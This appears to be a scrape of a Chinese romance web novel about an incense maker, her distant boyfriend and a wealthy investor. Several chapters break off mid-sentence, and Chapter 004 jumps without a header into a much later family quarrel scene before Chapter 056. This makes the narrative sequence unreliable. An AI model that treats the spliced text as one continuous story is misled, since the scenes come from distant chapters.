《把我还我》 1. Chapter 001 《把我还我》全本免费阅读 【陌生号码:林观川在后花园。】 沈吾安收到信息时,正在林观川项目成功上市的庆功宴上。 她抬头扫视酒会现场一圈,没有看到可疑的人。 每个人都在忙。 这样的场合里,没人和沈吾安一样,因为格格不入而无聊到玩手机。 一个半小时前,林观川刚刚完成了一场即兴演讲。 他在毫无准备的情况下,被众人强行推上台致辞。虽然无奈,但他始终带笑,神色自若,只是告诫般瞪了带头闹事的人一眼,接着便游刃有余地侃侃而谈。 林观川今日穿着月牙白的西装三件套,精纺垂顺的面料包裹着他修长笔挺的身躯,整个人在灯光下熠熠生辉。几年岁月的打磨,没有磨灭他眼里的光,反而让他更加成熟自信,更耀眼夺目。 沈吾安和众人一起在台下为他鼓掌,看他银边半框眼镜下从容镇定的笑容,明白当初那个穿着白T恤,和她一起挤公交的青涩少年终究也随着岁月一起走远。 沈吾安又低头看了眼手机上的陌生号码,想不明白对方为什么突然给她发这样的信息。 她不是爱猜忌的性格,猜半天不如直接询问对方。于是选中这个号码,直接拨过去。 在等待接通的时间,沈吾安平静地观察周围人的反应。 很可惜,电话没接通,也没找到可疑的对象。 既然如此,她把手机塞进手包里,起身走向花园。 夏日夜空下的花园蝉鸣阵阵,微风徐徐袭来。 沈吾安在花草清甜的香气中走了没一会儿,便在泳池的秋千边看到她在寻找的人。 林观川脱了西装,只穿着白色衬衫靠在大理石桌边上,身边是悠闲荡着秋千的吕蔓蔓。秋千边沿装饰了金银色的小灯,把身着藕荷色的鱼尾长裙的吕蔓蔓衬得更加温柔。 放松状态下的林观川不如刚才在台上时那般,有着不可忽视的距离感。此刻的他神态里有细微的疲惫,但也更温和。 “很累啊?”吕蔓蔓问。 林观川深吸一口气,笑道:“累。” “活该。”吕蔓蔓嗔他一眼:“昨天结束那么晚,你还非得再开一局。” “你怎么知道?” “我有线人啊。”她笑:“游戏真那么好玩?” 林观川:“解压嘛。” “这么说起来,我是不是该感谢你?” “谢什么?” “上次牺牲游戏时间,陪我说话。” “轻重缓急,我还是分得清的。” 吕蔓蔓仰头看了他一会儿,又去看波光粼粼的泳池:“再坚持一下就能回去休息了。” 林观川捏眉心:“真想现在就去。” “那就去吧?”吕蔓蔓俏皮地瞥了他一眼:“我帮你打掩护,就说你们林总醉了。” 林观川没有说话,几秒后,他轻声说:“安安还在里面。” 吕蔓蔓没有回应他这句话。她晃悠悠地摆了两下秋千,突然停下,然后右脚点地并伸长手臂,试图绕过林观川去取石桌上的香槟。可单脚毕竟不稳,身体后仰的时候,裸露在空气中的肌肤不可避免蹭到林观川腹部上的衬衫面料。 林观川只觉得腹部一凉,立刻反射性握住吕蔓蔓的手腕:“小心一些。” 他拿起杯子递给她。 “谢谢。”吕蔓蔓浅啜金色液体,这才问:“不然我替你去跟她说一声?” “不用,她和谁都不熟。留她一个人在这里,我不放心。” 吕蔓蔓轻笑出声:“那么大一个人还能丢了不成?这么不放心你还不赶紧回去?和我在这聊天做什么?” 林观川没有回答,只是垂眸专注地盯着吕蔓蔓的表情看。最后还是吕蔓蔓经不住他的目光,移开视线:“话说周森还来吗?” “来。”林观川看向花园深处:“所以我更不能回去休息。” “都快九点了,迟到三小时。” “三十个小时也得等。” 吕蔓蔓又笑:“少爷作派。” 林观川瞥她一眼,正欲开口,口袋里手机震动。他看了眼来电,接通电话简单聊了几句后,对吕蔓蔓说:“来了。” 吕蔓蔓闻言立即起身,细细整理过礼裙,才随林观川一起离开。 沈吾安站在暗处偷听了半天,从一开始错失开口的机会,之后便一直处于不方便打断的状态。现在撞见只会更尴尬,她转身绕入花园更深处。 方才的小插曲来得突然,直到闷头走到了花园尽头,沈吾安才停下来。 她在原地木了好久,拿出手机按下给她发消息的那个号码,再次拨打过去。 这次电话很快被挂断。 沈吾安静了静,选择发送消息:【请问你是谁?为什么给我发信息?】 不出所料,没有回复。 而在她等回复的期间,林观川发给她一条微信:【去哪了?】 沈吾安如实相告:【花园散步。】 这下可好,连林观川也没了回复。 沈吾安任性完,抱着手机徒增无处可去的茫然。 别墅里传出激烈哄动的欢呼声,想必是因为他们口中的周森。但不管是周森还是吕蔓蔓,她都不熟。沈吾安不清楚其他人参加家属的公司活动是什么样的,会不会和她一样独自一人经历从茫然无措到百无聊赖。 林观川从抵达场地开始,就忙得应接不暇,刚开始还不时有空闲来关心她一下,后来便失去了踪影。 沈吾安坐在角落灌了一肚子饮料,要不是因为那条陌生短信,应该到现在还格格不入地站在人群中。 待在花园里好过在酒会中,她想找个地方坐一下。泳池是万万不可能去的,沈吾安只能换了个方向往前摸索。 花园的小道上有不少矮灯,光影在地面上打出一个又一个造型独特的图案。 沈吾安跟着矮灯走了会儿,看到一片空旷的草地。草地前方有个舞台,舞台边还有未拆的气球和鲜花,成排白色的椅子呈半圆形围着舞台。 估计是能租界的草坪婚宴现场,满天星般的LED灯点缀得到处都是。 沈吾安随意挑了个椅子坐下,这才长舒一口气,放松下来。 【好无聊啊,姐妹。】 沈吾安给微信置顶的闺蜜赵浅发去消息。 那边秒回:【不是参加庆功宴吗?为什么无聊?】 沈吾安:【我谁也不认识。】 赵浅:【吃东西啊!没好吃的?】 沈吾安:【已经是一肚子橙汁西瓜汁,扔水果忍者里都能切出综合果汁了。】 赵浅不打字了,选择发语音:“哈哈哈哈哈哈哈,我的亲姐,你到底在高档宴会里面干嘛呀?林观川呢?他不陪你?” 沈吾安继续打字:【他忙。】 那头静静,然后一个电话打了过来。 沈吾安按下接听键,听到赵浅试探着问:“不开心啊?” “嗯。” “他不是一直这么忙嘛 2. Chapter 002 《把我还我》全本免费阅读 Chapter 002 沈吾安忍不住笑:“什么秘密基地?” “说出来了还算什么秘密。” 沈吾安没再说话,只是安静地看着周森。 虽然是初次见面,但他和她说话时语气自然,态度松弛。即使是刚才那句有些逾越的话,也没给沈吾安带来丝毫不适。 只是沈吾安早就过了冲动任性,恣意妄为的年纪。 她对周森莞尔一笑:“谢谢好意。我还是先回去找我的男朋友。” 周森耸肩,仍旧是那副无所谓的样子。 他极有涵养地站在原地,看沈吾安对手机那头轻声道别,然后挂了电话从他面前走过。 擦身而过时,微风送了一缕素雅的沉香到他鼻息间,他忙出声留人:“不好意思,你也用香?” 沈吾安出乎意料,能注意到她身上香味的人少之又少,猜到她用香的人更少。 “是的。”她驻足回头,隔着两盏园景灯的距离回视周森。 周森解释:“我母亲也喜欢用香,方便问一下你的香在哪里购买的吗?” “香味和我母亲之前经常焚燃的一款很像。但那款香似乎断货了,她寻了很久都没找到。”他补充。 “我自己制作的。” 周森讶异地挑了下眉,没有打断她的话,摆出愿闻其详的表情。 “我有个制药香的小铺,能按需求定制药香。”沈吾安说话的同时调出店铺的二维码:“如果您有需要,我可以寄体验装给您,试用后觉得合适就可以下单。” 周森给二维码拍了张照,笑着道谢。 沈吾安打算离开,又听到周森突兀地问:“那里的天空好看吗?” 沈吾安顺着他手指的方向回眸,看到方才自己坐过的位置。 刚才她坐在那里,看到了在喧嚣城市中看不到的满天繁星。 “自己去看。”她说。 - 还未靠近别墅,沈吾安便遇到了寻她而来的林观川。 “安安。”他隔着很远就出声喊她。 随后喉咙里好似哽了块什么般一顿,没再说话。直到走到她面前,握住她的手,才问:“你去哪了?我在花园找了一圈都没找到你。” “那边有片草坪,好像是给婚庆用的。舞台布置都没拆,我在那坐了一会儿。”沈吾安随手指了个方位。 林观川胸口蓦地一松,目光柔和下来:“夏天有蚊子,你在那待那么久,小心被蚊子抬走。” 蚊子没见着,新鲜事倒是见了不少。 沈吾安把手从林观川的手里抽出,直视他的眼睛问:“你去哪里找我了?” 不等他回答,她又问:“泳池?” “泳池”二字让林观川笑容一滞,收起表情回视沈吾安。 “紧张什么?”沈吾安笑问。 “安……” “观川。”吕蔓蔓的声音自两人身后传来。 沈吾安和林观川同时回头,看到吕蔓蔓亭亭立在大开的门前。别墅大厅的灯光自她身后洒出,勾勒她曼妙的身姿。 “找到安安啦。”她施施然从台阶拾级而下,含笑走到他们面前:“我正想和你一起去找。” 她直到几乎与林观川贴身而站才停下。 林观川再次感受到那股微凉的触感,透过手臂传入神经系统。他不着痕迹地退了一步,说:“刚才安安也在花园里逛。” 闻言,吕蔓蔓笑眼去看沈吾安:“这里的花园很美。我下午提早到这里,就在后花园喝了会儿下午茶,那时候还想着天黑就看不到那么美的景色了。没想到灯光映衬下,丝毫不逊白天。” 沈吾安笑了笑。 “你去哪里逛了?”吕蔓蔓问:“我最喜欢泳池边的秋千架,灯光布置很浪漫。你呢?” 沈吾安说:“我也去过那里,的确很漂亮,适合约会。” 吕蔓蔓在这时横了林观川一眼:“是吧?安安觉得那里适合约会。” 林观川皱眉,余光在这时看到有人影接近。几人转头看到穿着白色短T的周森。 他好像在打电话,手机放在耳边。之前身上的那件黑色西装外套,被他脱下来随意地抓在手里。 林观川主动打招呼:“周总。” 周森目光扫过来,笑容随意:“林先生找到女朋友了?” “刚巧在别墅门口碰到。” 周森“嗯”了声,态度说不上热情。再次见到沈吾安,他没表现出任何不同,只是朝她点了下头,然后垂眸在手机上操作,挂了电话。 待周森走近,吕蔓蔓立刻问:“周总也在花园逛?” 周森没听到刚才吕蔓蔓对花园的夸奖,语气很淡:“一个小破花园,有什么逛头,出来透口气。” 吕蔓蔓的笑容僵在脸上。 周森淡淡瞥她一眼,停在沈吾安身边,低头对她说:“是好看的。” “什么意思?”林观川立即警觉地问。 “星星好看。”周森懒洋洋的:“你以为是什么?” “你和安安……” 周森收起表情。 林观川有一米八三,周森竟比他更高。他因为林观川的话而垂眸去与林观川对视,鸦黑的眼眸半阖,不自觉透着恹恹之色。 他虽然比林观川小了几岁,但身上自有一种浑厚强大的底蕴,让他在任何时候都非常自信,还带着不容忽视的压迫感。 周森连解释都懒得,见林观川收了声,才恢复松散的表情:“你们后续还有什么安排?” 吕蔓蔓道:“她们在里面商量换地方再吃个夜宵。” “我就不去了。”周森说:“你们玩得开心,我买单。” 他说完,没再进宴会大厅,直接绕过别墅走向早已等在路边的黑色轿车。 - 三人目送他离开。 直到车子远去,吕蔓蔓才回头问:“我们进去吗?” 林观川说:“你先进去吧,我想和安安说几句话。” 吕蔓蔓好笑地扫他一眼:“这么一会儿都得说悄悄话?” 林观川没有接话,只是平和地看着吕蔓蔓。 吕蔓蔓自知无趣,转身回大厅:“你们慢聊。” 别墅大门再次关上,隔绝了厅内的一室嘈杂。 “你刚才碰着周森了?”林观川开门见山地问。 沈吾安没有隐瞒:“是啊。” “说什么了?” 沈吾安好奇地抬眸打量林观川。 她和他在今晚之前有三天没联系过对方,他不曾询问这三天她做了什么,遇到过什么事。而在方才来花园之前,她一个人在别墅大厅里待了几个小时,他也不曾关心她是否无聊,会不会不适应。 甚至在他觉得累,在应酬间隙想要喘口气时,第一时间找的聊天对象也不是她。 所以沈吾安猜不透这一刻林观川在意的是什么。 “不是重要的事。” “你们怎么会在一起?”林观川追问。 “这重要吗?” 林观川深吸一口气。从刚才起周森那副不可一世的高傲带来的不适感,就一直压在他的心底。而现在沈吾安阴阳怪气的态度更让他难受。 林观川微愠:“我的投资商和我的女朋友在一起看星星这事,你没有什么想解释的?” “没有。”沈吾回看他:“你 3. Chapter 003 《把我还我》全本免费阅读 Chapter 003 周森开车很快,但也很稳。修长有力的手指松闲地放在方向盘上,那是一双足以应聘手模的手。 沈吾安觉得他好像任何时候都是松弛的,带着股很独特的自由的气质。 高档车隔音效果极好,车内几乎听不到一点噪音,格外安静。 周森安静开着车,没有主动开口的意思。沈吾安刚开始有点尴尬,但时间久了反而奇妙地变得松弛。 她的脊背也跟着逐渐放松,缓缓靠到柔软舒适的皮质椅背上。 只是这和谐没持续多久,车内的互动显示屏忽然一闪,显示来电:夏迟。 周森扫了眼屏幕,没有任何犹豫地挂断。 不等尴尬重新爬回沈吾安身上,夏迟再次来电。 周森面无表情挂断。 安静不到三秒,夏迟继续拨打。 沈吾安清晰地听到周森叹了口气,但还是毫不留情地切断来电。 如此反复几次,对方终于放弃。 沈吾安好不容易找到插话的空隙,轻声说:“如果不方便接电话,我可以先下车。” “不用。”周森很快回答:“和你没关系。” 沈吾安便没再开口。 周森沉默开车,也没有解释的打算。 孰料没一会儿,车内屏幕再次显示有来电,只是这次换了个人。 【阮松青】 周森从后视镜看了她一眼,说:“我接个电话。” 沈吾安忙说:“您请便。” 周森按下通话键,边开车边伸手去摸置物栏里的蓝牙耳机。 而对方的声音已经透过车内音响传出:“迟迟回来了。” 周森淡声道:“知道。” “你怎么不接她电话?”阮松青又问。 周森反问:“我为什么要接?” 阮松青顿顿,语气变得有些烦躁:“你不接她电话,她这不就找我这来了嘛。” 闻言,周森笑:“那你反思下,为什么她不找别人,偏偏找你。” “周森你有毛病吧?” 阮松青气急败坏的骂声到这突然中断,因为周森终于拿出蓝牙耳机带上。 不知道对方说了什么,周森安静听了会儿,出声说:“你告诉她你和我绝交了。” 说完不一会儿,就闷闷地笑,那种笑自然又随性。好像陌生人沈吾安在车后座不会让他介意,而频繁接到不喜欢的人打来的电话,也不会影响到他的心情。 “好了,我和她没什么好说的。你如果再因为她的事来找我,我连你一起拉黑。”最后周森留了这么一句,挂断电话。 车厢内重新恢复安静。沈吾安却怎么也无法放松,总有种窥探到别人隐私的尴尬。 但周森浑然不在意,还挑了个话题问她:“你说自己做香?” 沈吾安被转移注意力:“是啊,其实是传统药香,有不同的功效。” “我知道,”周森说:“了解过一点相关知识。” “您说您妈妈也喜欢焚香?” 周森短促地笑了声,再开口声音懒洋洋的:“我和你年龄没差太多吧,总是您啊您的,多奇怪。” 沈吾安失语。 周森又说:“林先生比我年长几岁,你呢?” “我也比他小了几年。”沈吾安不是很在意对别人提起自己的年龄,于是报了个确切的年份。 周森没对此发表任何看法,只是再次强调:“同龄人就不必用尊称了。” “好。” “你身上这款香闻着很舒服,”周森打方向盘拐弯:“我之前在其他地方买过类似的香。拿到手里闻的时候觉得差不多,但真的点燃后,发现香味还是不对。” 沈吾安笑着解释:“是啊,每款香用的原料,制作工艺,保存方式不同,都会产生细微的差距。香要在真正的空间里,才能分辨出不同。” “看来我遇到了行家。” 沈吾安谦虚:“我不算行家,只是兴趣爱好。” 周森不予评论,只是告诉沈吾安,他过几天会在她的店铺下单。 车子终于抵达目的地。 沈吾安住在远离市中心的城郊,房子虽然老旧,但相应的房间面积也更大。 周森送她下车,抬头看了眼房子。 面对陈旧简陋的老房子,他并未表现出任何异样,只是平和地与她告辞:“那我回去了。” 沈吾安凭空受了周森的好意,心里总觉得过意不去。在周森重新落座前叫住他:“周先生。” 周森扶着车门回头。 沈吾安从背包里拿出一个包装精致的小礼盒,对他说:“这是我的小小谢礼,不成敬意。” 她说完拆开礼盒,露出一个制作精美的香牌。 如果是别的东西,周森会毫不犹豫推辞。但因为是个沈吾安亲手制作的,便产生了几秒的迟疑。 沈吾安看出他的想法,补充:“夏至已过,天气会越来越热。这款香里面含有沉香,安神养息。还添加了开脾酸香,特别适合夏天,能缓解酷暑炎热带来的郁躁。” 周森自香牌上移开视线,看了她一眼。 沈吾安读不懂他这一眼里包含的意思,怕自己的谢礼对于周森这样身份的人来说会显得有些廉价,顿生退意。她合上礼盒盖子,寻找推脱的说辞:“我……” “谢谢。”周森打断她,主动走到她的面前:“我很喜欢。” - 沈吾安目送周森的车远去,才从包里翻出钥匙开门。 刚进门不久,就收到来自房东催缴房租的短信。其实上周五已经催过一次,但她刚花了大部分存款购买了一批沉香原料,又遭遇单子意外连出,经济实在紧张。 沈吾安有些抱歉,赶紧回复:【下周一之前一定转账给您。】 放下手机,还来不及喘口气,林观川的微信紧跟而至:【到家了吗?】 沈吾安看着信息顿了半刻,回复:【到了。】 本以为她和林观川会有几天的冷战,没想到他竟这么快就发短信给她。 争吵的情侣之间,谁先主动联系对方就是先低头。林观川几乎从未曾扮演过先低头的角色,突然这样,让沈吾安很意外。 她抱着手机又等了十几分钟,以为他会有别的话想说,结果什么也没等到。 在这期间她回复了几个客户的订单咨询和退款处理。 其实这段时间她过得并不轻松。 前阵子有位新客户从她这里一口气买了好几款定制香。沈吾安再三和对方解释定制香制作需要时 4. Chapter 004 《把我还我》全本免费阅读 Chapter 004 多年早睡早起的作息,让沈吾安保持着每天在六点就醒来的习惯。 她洗漱完毕,蒸了早餐回房间拿手机,才看到上面躺了好几条信息,还有两通未接来电。 都是林观川的。 最早的信息来自深夜,他问她:【睡了吗?】 而最近的那条信息在半小时前,他问:【起来了吗?】 这几条信息加起来,都快超过他过去一个月给她发的信息数量总和。 沈吾安不明所以,回复:【刚起来,怎么了?】 下一刻,客厅传来敲门声。 沈吾安心里有所预感去开门,果然是林观川。他不知道在外面站了多久,身上只剩清新晨雾的味道。 “你怎么?” 沈吾安倍感意外,连话都没问完整。 林观川脸上的疲惫无法掩饰,他没有立刻进门,而是隔着门栏对沈吾安说:“我觉得我们需要谈谈。” 沈吾安忍不住说:“你睡醒再来也可以,何必在外面等一夜?” “我没有给你压力的意思。”林观川解释:“我以为你不会那么早睡,所以昨晚直接过来了。” 沈吾安昨晚并没有早睡,为了等他的消息还晚睡了半小时。而且,沈吾安想告诉他,她熄灯的时间从未超过晚上十点半,从她们认识那天起,甚至更早之前就是这样。 但话到嘴边,不知怎么的觉得没必要。 “你先去睡一会儿吧。”沈吾安侧身让他进门:“要谈也等你醒了再说。” 林观川看上去像是要拒绝,沈吾安立刻说:“我不想和一夜没睡的人谈事情,等你能清醒思考,我们再谈。” 于是林观川没再多说,简单洗漱后去卧室躺下。 沈吾安的被子有独特的属于她的香味,林观川被包裹在熟悉味道里,很快进入沉睡。 林观川睡觉的同时,沈吾安如平常一样,晒香料,准备香材,处理订单。还去附近的超市买了些新鲜的蔬菜水果,顺便替林观川带了新的洗漱用具。 等林观川睡醒,莲藕排骨汤已经在厨房里炖好一会儿了,诱人的香味飘得满屋子都是。 他起身去找沈吾安,见她正在阳台翻药材,午后阳光均匀撒在她的背上。沈吾安动作轻慢细致,神色恬静,教人短暂遗忘酷暑带来的燥热。 林观川看了会儿,出声叫她:“安安。” 沈吾安闻声转头,指了下浴室:“新买的牙刷浴巾都在厕所,你去洗漱一下吧。洗完正好喝汤。” 她说话的模样随和又自然,和过去几年她们相处时毫无二致,好像昨晚她们并没有发生争吵。 但真当两人坐上餐桌,林观川还是从细节中感觉到了沈吾安刻意的冷淡。 他顿时没了胃口,放下碗筷:“吃不下,直接谈谈?” 沈吾安也停下进食。 “昨晚坐在车里,我想了很多。”林观川开门见山:“这段时间我们联系的确不多,我只花了几分钟就翻遍了我们这半年来的聊天记录。我们缺乏沟通,所以才会导致你像昨晚那样误会我。我明白你的想法,也理解你的感受,我们之间的确出了些问题,但我保证我和蔓姐绝对没事。”他这么说着,就做下决定:“正好我这边能休息一阵子,我想不如我们一起出去走走。” 沈吾安对这个提议没有一点准备,习惯使然让她下意识就试图去迁就林观川的想法,甚至考虑了下可能性。但想到店铺的那些事情,她遗憾地说:“我最近没时间。” “没时间?”林观川皱眉:“你怎么会没时间?” 他看上去完全不信,露出一副好像是沈吾安在使性子的表情,刚要继续追问,被一阵敲门声打断。 林观川条件反射回头看了眼大门,又狐疑地看向沈吾安。 沈吾安同样意外,平时除了赵浅,几乎没人造访。 她没有直接开门,而是先出声问:“谁?” “小沈,是我。王叔。” “房东大叔。”沈吾安对林观川简单解释。 林观川面无表情地看着她,脸色并没有因为沈吾安的答案变得轻松。 门后站着位穿着青色短袖汗衫,微微发福的中年男子。王叔今天骑电瓶车来的,一路上出了不少汗,此刻身上散发着汗味。他摸了把脖子上的汗,没急着进门,笑问:“在忙?” “没有,王叔您快请来吧。” 他端着笑进门,没有直接说明来意,反而还笑容可掬地拎了下手里的柑橘:“我媳妇老家的特产,特别甜。出门的时候,她特地叮嘱我给你带上一些。” 沈吾安赶紧道谢,接过购物袋。 王叔这才看到餐桌边的林观川,顿了顿,没料到沈吾安家竟有外人。 林观川收起情绪,笑着向王叔打招呼:“我是林观川,陪安安来看房那次,我们见过。” 王叔还是没什么印象,想到此行目的,转头问沈吾安:“小沈,我昨晚给你发的消息,你看到了吧?” 沈吾安说:“收到了。” “那你看这房租,什么时候能给我?我已经宽限你一星期了,但是我这边也有急用,你看能不能尽快?” 沈吾安有些尴尬,她不想被自己男朋友看到被催缴拖延房租的这一幕,可惜它就是避无可避地发生在他面前。 而且她还需要用商量的语气问王叔:“我这边有个订单很快就能收到钱,大概两三天就能把房租打给您,您看成吗?” 幸好王叔一直还算通融,从未怎么为难过她。听到这个答案,他又堆起笑容:“没问题的。” “这个房一个月租金多少?”林观川突然出声问。 王叔诧异地看过去:“五千五。这里虽然属于郊区,但是交通还算方便,价格不算贵。” 林观川听到金额,瞥了沈吾安一眼,拿出手机问:“支持微信转账吗?” “林观川。”沈吾安猜到他的想法,出声阻止。 王叔也明白林观川这是要替沈吾安缴房租的意思,并未觉得有何不妥。手脚麻利地掏出手机,伸向林观川:“扫这个码就行。” “林观川。”沈吾安第二次出声阻止。 林观川边扫码,边侧头给了沈吾安一个警告的眼神。 沈吾安只觉得头脑发热,难堪尴尬顺着脚底往头顶爬。她想立刻就说:“我不需要”,但她同样明白说完这句话后,她的窘迫不会比现在好一点。 王叔离开了好一会儿,屋里还是没人开口。 桌上的汤羹早已冷却,也没人再回到桌边。 最后是林观川先打破沉默,问她:“作为你的男朋友替你付一下房租,有什么问题吗?这也伤了你的自尊?” “我不需要。”沈吾安说。 “你不需要。”林观川冷硬地重复她的话:“几千块的房租你都拿不出来,你跟我说你不需要。那你需要的是什么?但凡你肯听我的话去找个工作,都不至于被人追着要房租!” 沈吾安紧闭双唇。 林观川同样觉得沈吾安越来越难以沟通,她的固执和沉闷经常给他带来无能为力的焦躁。 林观川忍不住回想刚认识她的那年,回忆他最心动的那些时刻。那时他总能从人群中一眼就找到她。沈吾安皮肤很白,远远看着最白净的那位便是。他从青春懵懂开始就喜欢文静内敛的女孩,而大学时期的沈吾安完美符合他对女生的所有幻想。她安静独立,气质沉稳,所以见到沈吾安时,他几乎一眼就确定了她。 而现在的沈吾安变了,变得难以理解。 “怎么又不说话?”林观川压着脾气问:“有问题不应该沟通吗?为什么不说话?” “我不需要你替我付房租,我过几天就会有钱。”沈吾安抬眼看他:“我说了,然后呢?” 林观川被气笑:“还是我做错了,我就不该替你付房租。更不该来找你,是不是?你就非要这么和我说话?” 他等了会儿,见沈吾安仍没有说话的意思,忍不住露出讽刺的笑:“你到底在别扭什么?这也不需要,那也不需要。对,我们之间出现了问题,但那到底是谁的原因?安安,你告诉你这些到底是谁的问题?你到底在想什么?” 看到沈吾安露出明显被戳到痛处的眼神,他有些快意地追着说:“你以为靠你那些小打小闹能赚多少钱?是我养不起你吗?还是你觉得你的收入能和我齐平?坚持经济独立,坚持平等。”林观川嗤笑一声:“然后呢,你玩香都玩几年了?玩到现在兜里几千块都没有,还被人催着交房租。这种情况你打算怎么和我在经济上平等?我真的不懂你到底要怎么样?” “我只是暂时遇到了点困难。” “什么困难能导致你被人追着催房租?我们都是从零到现在,我的项目都上市了,你呢?玩香玩得一点积蓄都没有,你还打算固执多久?” 他问完后室内一片寂静。 沈吾安惊疑不定地看着面前熟悉的人,似是想不明白他为什么会用这样的语气质问她。 林观川也意识到自己话说得重了,缓和态度:“对不起,我说错话了。” 沈吾安摇头,只觉得疲惫,垂下眼不再看林观川:“我累了,你如果要忙,先去吧。” “不忙。”林观川冷硬地说:“刚才就说过,我有一段时间能休息。” 气氛再次僵持。“老爸的主治医生是我姐的朋友特意请来的,关系也是姐姐和他去打点的。你们全程只在我爸术后,来病房坐了半小时,能不能别再说这些屁话了!” 沈杜衡和沈大伯同时拍案而起,沈大伯赤红着脸道:“你姐那朋友……” “我姐那朋友是周氏集团二公子,你那个水果摊老板又是个什么东西!”沈竟思耳根比沈大伯的脸更红:“给我姐介绍有赌瘾的离异对象,你又是安的什么心!” 沈杜衡怒喝:“沈竟思!” 眼见沈杜衡扬手欲打沈竟思,沈吾安出声阻止:“爸!” 沈杜衡动作一顿,屋里几人同时看向沈吾安。 沈吾安神色如常,淡定自若。她平静地扫视在座所有人一圈,随后露出一个很轻的笑。 上次这样面对大伯时,她内心凄惶,颤抖不止。 但此时的她和彼时判若两人。 “沈竟思去比赛的钱,是我转给他的。”她直视沈大伯:“我不清楚你是从哪里听来的闲话。我家和你家不过十几分钟的距离,再不济打电话给我爸就能求证,你偏听信外人的谣言。” 沈大伯蠕动了几下嘴唇,没说出话。 “我这几天在附近走动,也听说大伯在高利贷那里欠了点钱。但我相信大伯的为人,从未当真过。既然今天大家都在,我也就顺便问问大伯,此事当真?如果真有困难,说出来大家一起找找解决办法。想必二伯和三姑姑必然不会袖手旁观。” 沈吾安说完含笑看向三姑姑,三姑姑瞬间面若纸色。 “和谐”的大家庭聚会最终不欢而散。 沈竟思送沈吾安回酒店,想到大伯后来的表情就觉得浑身神情,对沈吾安竖大拇指:“悟性不错,学得很快。” “什么?” 沈竟思隔空做了个手势:“声东击西,移魂换影。走大伯的路,让大伯无路可走。” 沈吾安在黑暗中笑出声:“我是出来了,你回去怎么办?爸爸估计还会训你。” “要训早训了。”沈竟思声音低下来:“老爹今天那几下都是虚张声势而已,我都看出来了。” 他侧头观察沈吾安的表情,确认她正常后,继续说:“其实前天爸爸找我谈过。” “你们说什么了?” “主要内容是强烈谴责我对他的不尊重,怪我那天态度不好。但后来他有些也有些低落吧,说我那句失望,让他想了很久。” 沈吾安没有说话。 “再给他点时间,他会成长的。”沈竟思故作深沉地总结。 沈吾安不置可否地笑:“哪有那么容易。” “而且,你进青训队的事情,还没跟他说吧?”沈吾安提醒。 沈竟思顿时语塞。 - 告别沈竟思,沈吾安接到孟达海的来电。 他先婉转地慰问她父亲的身体状况,并表示自己准备了些甄选补品,让沈吾安发他地址,他明日差住家阿姨寄到她家。 最后他们的通话迎来重点。 孟达海难得语气犹豫为难:“是这样的。明天晚上我要见个重要的客户,对方想见见你。” 他报了个沈吾安曾在政要新闻里见到过的名字。 “本来接近春节,我打定主意让你过完年再回来。但是事出突然,而且机会难得。”孟达海停顿片刻,问:“如果你同意,我让阿森安排的飞机明天上午就会到你们城市的机场。” 56.Chapter 056 Chapter 056 答应孟达海后,周森很快发来航班的具体信息。 收到沈吾安的回复,他又说:【明天早上我去接你。】 只这简单的一句话,就让沈吾安几乎一夜无眠。 她从未体验过这种感觉,有些期待,又有些胆怯。 但不论她内心如何挣扎,天微亮时她就得收拾行李出发去机场。 周森的行事风格一如既往。 沈吾安在洗漱的时候就接到客房电话,称有人在楼下等候她。 来人客气有礼地让沈吾安称呼他:“小陈。” 但她还是喊了声:“陈先生。” 陈先生替她办理完退房,随后领她进入早已等候在酒店外的商务车。 通往机场的路上,他细心地介绍从此刻到登机前的各类事项。介绍完后,他笑着补充:“女士不必担心,我会全程陪同女士,直到您顺利登机。” 沈吾安在私人飞机上享用了一顿简单的西式早餐,几乎是刚用完饭后水果,空乘就通知飞机即将降落。 周森就等在贵宾室。 沈吾安由机场工作人员陪着刚出现在门口,他就合上膝盖上的笔电,含笑起身迎接她。 过去由于种种外在因素叠加,沈吾安的注意力总放在别的地方。比如周森谈公事时的要点,周森手里的文件,周森同人说话时的语气,态度,还有他不自觉散发出来的气场。 但这个早晨不同。 她看到他站在沙发前,身型峻拔,气质斐然。一身板正的黑色西服仿佛还带着深冬的泠冽寒气,唯有那双深邃的双眸蕴着丝含蓄的笑意。 几乎在视线相交的那瞬间,沈吾安就慌张地错开眼。 工作人员在和周森交代事情,大概是私人航线相关。 沈吾安听不懂也没用心听,低头假装忙碌。 只是靠近周森的那一侧似乎无端长出数以万计密密麻麻的细长神经,争先恐后地朝他的方向伸展,感知周森的动静。 她清楚得感觉到他边说话边朝她走来。 他越是靠近,那些神经便拂动得越激烈。 沈吾安半个身子都在发痒,忍不住伸手捋了把后颈。 下一刻,周森的气息轻轻扑在她的头顶,低沉的嗓音随之响起:“怎么了?” 沈吾安倏然抬头,一头撞进他的目光里。 “头痛?”他问。 沈吾安赶紧否认:“没有。” 周森又看了她半晌,点头说:“这样。” 说完,他继续和工作人员进行刚才被打断的对话。 只是他没再移动半步,手臂几乎贴在她的外套。偶尔动作时,两人的肢体会短暂碰撞。 所以她轻易就闻到了他身上淡淡的木质香,闻起来像是她前不久送他的药香手串的味道。 沈吾安低头去找。 周森好似有所感应,同时微乎其微地抬了下手,刚巧露出手串一角。 沈吾安愣怔数秒,心口很快被一种难以言喻的安心轻缓地填充。 - 直到周森的车子驶上绕城高速,沈吾安才从别扭中走出,问他:“上午不忙吗?怎么有空来接我?” 周森随意地笑问:“想听客套话,还是实话?” 沈吾安忍不住跟着笑:“先听客套话吧。” “孟叔考虑到你会紧张,也可能会需要做些准备,所以派我来帮你。” 果然是个不走心的客套话,这事随便派个助理就行。 “那实话呢?”沈吾安被他的松弛传染。 “因为想见你。” 静寂倏然在车厢内被炸开。 沈吾安在十秒内完成了整理鬓角碎发,检查手机时间,和假装清嗓子。 最后她只是抿着唇悄悄,悄悄地压制住了被窃喜牵动上扬的嘴角。 - 接近四十分钟的车程,他们终于看到沈吾安出租屋的院墙。 周森扫了两眼,诧异地“嗯?”了声。 沈吾安立即问:“怎么了?” 周森沉默一瞬才说:“你出发前没关院子的门?” “关了。”沈吾安肯定地回答。 答完才反应过来周森话里的意思,急忙定睛去看院子的门。 开着! 她的心瞬间往下沉,糟糕的预判油然而生,心跳跟着变快。 正心慌意乱地胡乱猜测,左肩被周森轻柔地拍了拍。 沈吾安转头去看他。 周森有条不紊地把车停在院墙对面,方才匆促间往院墙里看的那一眼,基本已证实他们心中的猜测。 他对她笑了笑,把最坏的结果用淡定的语气直接告诉她:“可能遭贼了,楼下工作室的门也开着。” 沈吾安毫无心理准备,骤然遇到意外,她脸上血色瞬间褪得一干二净。 